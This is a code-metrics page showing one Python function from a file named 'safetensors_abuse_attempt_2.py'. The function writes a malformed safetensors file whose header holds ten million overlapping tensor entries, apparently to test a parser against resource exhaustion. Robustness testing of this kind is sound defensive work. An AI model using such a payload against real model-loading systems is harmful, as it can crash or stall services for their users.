def create_payload()

in attacks/safetensors_abuse_attempt_2.py [0:0]

• 13 lines of code
• 2 McCabe index (conditional complexity)

def create_payload():
    shape = [2, 2]
    n = shape[0] * shape[1] * 4

    metadata = {
        f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 1000 * 10)
    }

    binary = json.dumps(metadata).encode("utf-8")
    n = len(binary)
    n_header = n.to_bytes(8, "little")

    with open(filename, "wb") as f:
        f.write(n_header)
        f.write(binary)
        f.write(b"\0" * n)